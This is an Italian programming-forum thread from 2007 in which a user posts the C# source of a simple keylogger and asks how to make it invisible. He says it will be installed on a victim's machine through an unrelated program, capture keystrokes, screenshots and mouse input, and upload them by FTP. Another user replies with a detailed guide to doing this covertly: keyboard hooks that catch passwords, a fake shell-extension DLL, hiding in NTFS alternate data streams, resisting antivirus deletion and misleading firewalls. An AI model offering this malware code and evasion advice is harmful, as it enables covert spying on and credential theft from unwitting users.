Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Roborock Qrevo Curv 2 Flow: ora lava con un rullo
Roborock Qrevo Curv 2 Flow: ora lava con un rullo
Qrevo Curv 2 Flow è l'ultima novità di casa Roborock per la pulizia di casa: un robot completo, forte di un sistema di lavaggio dei pavimenti basato su rullo che si estende a seguire il profilo delle pareti abbinato ad un potente motore di aspirazione con doppia spazzola laterale
Alpine A290 alla prova: un'auto bella che ti fa innamorare, con qualche limite
Alpine A290 alla prova: un'auto bella che ti fa innamorare, con qualche limite
Abbiamo guidato per diversi giorni la Alpine A290, la prima elettrica del nuovo corso della marca. Non è solo una Renault 5 sotto steroidi, ha una sua identità e vuole farsi guidare
Recensione HONOR Magic 8 Lite: lo smartphone indistruttibile e instancabile
Recensione HONOR Magic 8 Lite: lo smartphone indistruttibile e instancabile
Abbiamo provato a fondo il nuovo Magic 8 Lite di HONOR, e per farlo siamo volati fino a Marrakech , dove abbiamo testato la resistenza di questo smartphone in ogni condizione possibile ed immaginabile. Il risultato? Uno smartphone praticamente indistruttibile e con un'autonomia davvero ottima. Ma c'è molto altro da sapere su Magic 8 Lite, ve lo raccontiamo in questa recensione completa.
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 17-07-2007, 10:06   #1
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
applicazione "invisibile" in visual c#

Ciao ragazzi....
ho iniziato da poco a scrivere programmi in visual c# 2005 express....
e quindi ho bisogno fi un pò di aiuto......

avete mica un modello di applicazione invisibile??

ho provato a modificare il progetto di un key logger strasemplice trovato in rete,,,,, ma anche facendo il debug sul progetto originario mi da errore...

ho bisogno che:
non compaia nella taskbar
non compaia sul desktop
e neanke nel task manager
e ke obbligatoriamente funzioni anke se nn è selezionata dall'utente

insomma deve funzionare tipo la metà dei programmini inutili che windows fa partire ad ogni startup...

grazie!!!!!!
ciaooooo

Ultima modifica di nikel : 18-07-2007 alle 08:27.
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 17-07-2007, 14:55   #2
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
dai datemi una mano pleaseeeeeeeee
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 17-07-2007, 16:36   #3
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
almeno un ciao potreste lasciarlo.....
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 17-07-2007, 16:41   #4
nJack
Junior Member
 
Iscritto dal: Jul 2007
Messaggi: 12
ciao XD
io non sono pratico ma hai tutto il mio sostegno morale
nJack è offline   Rispondi citando il messaggio o parte di esso
Old 17-07-2007, 18:35   #5
pisto
 
Messaggi: n/a
cosa intendi per invisibile?

P.S.
sono crudele, perché anche se me lo spieghi non posso sicuramente risponderti, in quanto non conosco c# né VS2005...

ma almeno rendi la domanda + chiara
  Rispondi citando il messaggio o parte di esso
Old 18-07-2007, 08:26   #6
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
un applicazione che non compaia nella taskbar non compaia sul desktop.... e ovviamente neanke nel task manager..... (anke se quella del task manager si può evitare.....) e ke obbligatoriamente funzioni anke se nn è selezionata dall'utente

insomma deve funzionare tipo la metà dei programmini inutili che windows fa partire ad ogni startup...
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 18-07-2007, 09:36   #7
pisto
 
Messaggi: n/a
beh per quel che ne so (e fidati ne so poco) quello si fa o con un rootkit, quindio andare a modificare il kernel di windows, o non creando un vero e proprio processo, ma tipo forzare il caricamento di qualche dll ad un altro processo, tipo explorer.exe.... oppure creare una periferica, o un servizio... .bah chiedi a gente + esperta....

e mi raccomando fai il bravo...
  Rispondi citando il messaggio o parte di esso
Old 18-07-2007, 11:30   #8
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
non ti preoccupare è soltanto una sfida personale

Nel frattempo riporto la sorgente del programmino he avevo trovato..... se qualcuno mi spiega xkè nn funziona.... thx XD

Quote:
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Threading;

namespace KeyLogger
{
/// <summary>
/// Descrizione di riepilogo per Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
/// <summary>
/// Variabile di progettazione necessaria.
/// </summary>
private System.ComponentModel.Container components = null;

public Form1()
{
InitializeComponent();
}

/// <summary>
/// Pulire le risorse in uso.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}

#region Codice generato da Progettazione Windows Form
/// <summary>
/// Metodo necessario per il supporto della finestra di progettazione. Non modificare
/// il contenuto del metodo con l'editor di codice.
/// </summary>
private void InitializeComponent()
{
//
// Form1
//
this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
this.ClientSize = new System.Drawing.Size(304, 46);
this.Name = "Form1";
this.Opacity = 0;
this.ShowInTaskbar = false;
this.Text = "KeyLogger by Dokkis";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
this.Load += new System.EventHandler(this.Form1_Load);

}
#endregion

/// <summary>
/// Il punto di ingresso principale dell'applicazione.
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}

private void Form1_Load(object sender, System.EventArgs e)
{
KeyLoggerListener keylogger = new KeyLoggerListener();
keylogger.OnKeyPress+=new KeyLogger.KeyLoggerListener.KeyPressHandler(keylogger_OnKeyPress);
keylogger.Run();
}

private void keylogger_OnKeyPress(object inputListener, KeyPressEventArgs KeyPressInfo)
{
char digit = Convert.ToChar(KeyPressInfo.KeyCode);
MessageBox.Show(KeyPressInfo.KeyCode+"\n"+digit);
}
}
public class KeyPressEventArgs : EventArgs
{

public KeyPressEventArgs( Keys ModifierKeys, int KeyCode)
{
this.ModifierKeys= ModifierKeys;
this.KeyCode = KeyCode;
}
public readonly Keys ModifierKeys;
public readonly int KeyCode;
}

public class KeyLoggerListener
{
public delegate void KeyPressHandler

(object inputListener,
KeyPressEventArgs KeyPressInfo);

public event KeyPressHandler OnKeyPress;

[DllImport("user32.dll")]

public static extern int GetAsyncKeyState (long vKey);

public void Run()
{
Thread t = new Thread(new ThreadStart(Listener));
t.IsBackground=true;
t.Start();
}
private void Listener()
{
while(true)
{
Thread.Sleep(10);
int i=0;
for(i=1;i<Byte.MaxValue;i++)
{
if (GetAsyncKeyState(i) == Int16.MinValue+1 )
{
KeyPressEventArgs KeyPressInfo =
new KeyPressEventArgs(
Control.ModifierKeys,i);
if (OnKeyPress!=null)
{
OnKeyPress(this,KeyPressInfo);
}
}
}
}
}
}
}

Ultima modifica di nikel : 18-07-2007 alle 11:32.
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 09:31   #9
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
up
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 11:47   #10
stdecden
Member
 
L'Avatar di stdecden
 
Iscritto dal: Apr 2007
Messaggi: 263
Se non sbaglio quello che vorresti creare é un servizio...
Temo peró che questa funzionalitá sia supportata solo dal Visual Studio proffessionale (non la Express Edition)
stdecden è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 12:34   #11
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
ah capisco.... quindi nn c'è modo di implementare un codicello per la versione xpress???

se è così grazie a tutti fa niente........ grazie a tutti e ciaooooooooooooo

se avete altre idee... invece..
proponete proponete proponete!
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 16:07   #12
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
il malware per Windows non si programma in C#, si programma in C

il tutto dipende molto dal tipo di obiettivo: amministratore scafato o utonto? Windows XP o Windows Vista?

orientativamente comunque le strade sono due: DLL o driver, preferibile la prima.
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 16:09   #13
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
dal sorgente che hai postato noto che stai cercando di fare un KeyLogger
in tal caso allora anche la strada del driver sarebbe buona, ma dipende molto da quello che ci devi fare col file di log: lo tieni nascosto sul pc della vittima o lo vuoi anche spedire in rete, magari per email? nella prima ipotesi potrebbe essere meglio il driver, nella seconda sarebbe molto meglio la DLL.
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 17:27   #14
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
l'idea è questa....

allora.... precisiamo k sarà solo per uso personale...

quindi.... un logger.... k viene installato quando il malcapitato fa girare un programmino fatto da me ( k ovviamente nn ha nulla a k fare cn il logger)

una volta installato....

si copia sull'hd in qualke cartella dove l'utonto nn andrà mai....
siccome pensavo di farlo rimanere visibile nei processi attivi.... anke un altro programmino picciriddu k serve solo a riaprirlo se viene kiuso,,,XD

poi vabbè logga la tastiera prende screenshot log del mouse.. e invia tutto via ftp su un server......

si pò fa??

Ultima modifica di nikel : 19-07-2007 alle 17:35.
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 18:00   #15
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
Quote:
Originariamente inviato da nikel Guarda i messaggi
l'idea è questa....

allora.... precisiamo k sarà solo per uso personale...

quindi.... un logger.... k viene installato quando il malcapitato fa girare un programmino fatto da me ( k ovviamente nn ha nulla a k fare cn il logger)

una volta installato....

si copia sull'hd in qualke cartella dove l'utonto nn andrà mai....
siccome pensavo di farlo rimanere visibile nei processi attivi.... anke un altro programmino picciriddu k serve solo a riaprirlo se viene kiuso,,,XD

poi vabbè logga la tastiera prende screenshot log del mouse.. e invia tutto via ftp su un server......

si pò fa??
che si possa fare la risposta è decisamente si, la domanda più che altro sarebbe "a che livello" lo vuoi fare, e soprattutto che tipo di "target" ti poni (amministratore scafato o utonto, Windows XP o Windows Vista). perché in teoria un amministratore scafato potrebbe prevedere qualunque cosa ed impedirti del tutto di installare alcunché, senza alcuna possibilità, mentre invece sarebbe facilerrimo gabbare un classico utonto da installazione predefinita di XP.

comunque, eccoti 9 considerazioni per un keylogger pulito e silenzioso, fatto a regola d'arte:

1- C# è una piattaforma managed, è troppo "controllata", anche solo per il fatto che il processo resta visibile nel Task Manager. l'utonto per quanto tale avrebbe troppi modi di accorgersi del logging.

2- visto che il log va comunicato via internet direi di lasciare proprio perdere il driver e procedere con la DLL

3- suggerirei l'uso di Windows Hooks, per l'esattezza un Low Level Keyboard Hook:
http://msdn2.microsoft.com/en-us/library/ms644985.aspx
o altrimenti un normale Keyboard Hook, che ti darebbe informazioni più esaustive permettendoti così, ad esempio, di determinare in particolare quando un utente scrive una password:
http://msdn2.microsoft.com/en-us/library/ms644984.aspx

4- come sistema di caricamento suggerirei "pseudo - Shell Extension": realizza la tua DLL come una finta Shell Extension (sono le DLL che ti permettono ad esempio di aggiungere voci nei menu di contesto di Esplora Risorse; una pratica molto comune per es. nei programmi di compressione come WinRAR) ed installala come tale. non dovrai implementare tutte le funzioni di una vera Shell Extension: dovrai solamente far finta di aver ottenuto un errore in caricamento, in modo che la tua DLL rimarrà caricata ma non le sarà richiesto di "estendere la shell". per ulteriori informazioni fai un fischio, oppure consulta MSDN.

5- non vedo perché tu debba lasciare il keylogger visibile nell'elenco dei processi... a parte che se lo implementi come DLL sarà visibile sta c@ppe11a

6- teoricamente anche le DLL caricate in un processo possono essere enumerate e quindi rese visibili usando programmi appositi; ma se sei interessato ad ulteriori tecniche per invisibilizzare una DLL fai un fischio
*per la serie mafia rulez *
tuttavia da quel che scrivi credo che non sarà necessario arrivare a tanto

7- piuttosto che nascondere il file mettendolo in una cartella dove l'utonto non andrà mai potresti provare ad invisibilizzare del tutto la DLL scrivendola in un cosiddetto Alternate Data Stream, anche detto fork. è una particolarità del file system NTFS, e, per inciso, una feature imho del tutto inutile che non fa altro che introdurre una vulnerabilità di sicurezza. si tratta praticamente di memorizzare due files sotto un unico file name. ci scommetto che anche un antivirus avrebbe difficoltà di fronte a una simile bastardata

8- per impedire ulteriormente l'eventuale cancellazione del keylogger da parte di un antivirus MOLTO scafato, potresti semplicemente avere l'accortezza di tenere aperto il file eseguibile del tuo keylogger dall'interno del keylogger stesso. se l'antivirus provasse a cancellarlo il kernel stesso gli darebbe picche, un po' come quando provi a cancellare un file in uso da un'altra applicazione e XP ti mostra l'errore.

9- quando compili, abilita l'opzione per omettere i frame pointers; in tal modo molti firewalls non saranno in grado di determinare che sei tu a spedire dati via internet, ma crederanno che sia kernel32.dll oppure il processo in cui hai caricato la tua DLL (tipo explorer.exe). per ingannare anche i firewalls più scafati fai un fischio (vd. sopra, mafia rulez ecc. ecc.).
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 19-07-2007, 22:42   #16
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
hai messo giù una guida paiura.....

però... la metà delle cosè qui menzionate nn ho la minima idea di come realizzarle...

partendo da qui:
Quote:
come sistema di caricamento suggerirei "pseudo - Shell Extension"
e proseguendo sul "creare una dll"


c'è qualke guidettina k lo spiega???? links? thx 1000

notte

EDIT: dimenticavo,,,, parli cn un 16 stampato in 3a scientifico con 4 in mate e 10 in informatica ....ihih
nikel è offline   Rispondi citando il messaggio o parte di esso
Old 20-07-2007, 16:56   #17
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
creare una DLL in Visual C++ non è difficile: basta che scegli il template adatto quando crei il nuovo progetto, e che dichiari una funzione DllMain anziché un normale main:
http://msdn2.microsoft.com/en-us/library/ms682583.aspx
per il resto è comunissimo codice C.

PS: ovviamente in una DLL devi anche includere windows.h, come per qualsiasi programma Win32.
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 20-07-2007, 17:00   #18
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
ti riporto qui le istruzioni passo-passo per creare una DLL Win32 in una tipica installazione di Visual C++ 2005 Express con Platform SDK.

1) File -> New -> Project...
2) seleziona Win32 nel riquadro di sinistra
3) seleziona Win32 Console Application in quello di destra
4) scrivi nomi di progetto e solution, premi OK
5) aggiungi nella pseudocartella "Source Files" un nuovo file sorgente con estensione .c o .cpp, a seconda che vuoi usare solo C o anche C++.
6) scrivi la DllMain
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 20-07-2007, 17:01   #19
71104
Bannato
 
L'Avatar di 71104
 
Iscritto dal: Feb 2005
Città: Roma
Messaggi: 7029
urka O_o
mi viene un dubbio

mi sa che tu non conosci il C... ^^'
perdonami, io so partito in quarta ma non avevo letto che "hai da poco iniziato a scrivere programmi in Visual C# Express"... non conosci altri linguaggi?
71104 è offline   Rispondi citando il messaggio o parte di esso
Old 20-07-2007, 17:12   #20
nikel
Senior Member
 
L'Avatar di nikel
 
Iscritto dal: Mar 2006
Città: Milano
Messaggi: 832
turbo pascal.. proprio quello k speravi vero????
nikel è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Roborock Qrevo Curv 2 Flow: ora lava con un rullo Roborock Qrevo Curv 2 Flow: ora lava con un rull...
Alpine A290 alla prova: un'auto bella che ti fa innamorare, con qualche limite Alpine A290 alla prova: un'auto bella che ti fa ...
Recensione HONOR Magic 8 Lite: lo smartphone indistruttibile e instancabile Recensione HONOR Magic 8 Lite: lo smartphone ind...
Sony WF-1000X M6: le cuffie in-ear di riferimento migliorano ancora Sony WF-1000X M6: le cuffie in-ear di riferiment...
Snowflake porta l'IA dove sono i dati, anche grazie a un accordo con OpenAI Snowflake porta l'IA dove sono i dati, anche gra...
Missione Artemis II diretta verso la Lun...
Toy Story 5 arriva al cinema: è l...
Intel cambia rotta su Linux? Nuove assun...
Samsung aggiorna Bixby con One UI 8.5: p...
L'Etiopia vieta le auto a combustione: a...
Pirateria audiovisiva: la Guardia di Fin...
Ubisoft conferma due nuovi Far Cry in sv...
Chi vincerà il Festival di Sanrem...
G42 e Cerebras portano in India un super...
Offerte aggiornate del weekend Amazon: 7...
4 MacBook Air in offerta e scende a 939€...
Chrome cambia il tuo modo di lavorare: o...
Minimo storico iPhone 17 su Amazon: 909€...
USA, incriminati tre ingegneri della Sil...
Xbox: Phil Spencer lascia dopo 38 anni, ...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 00:50.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
Served by www3v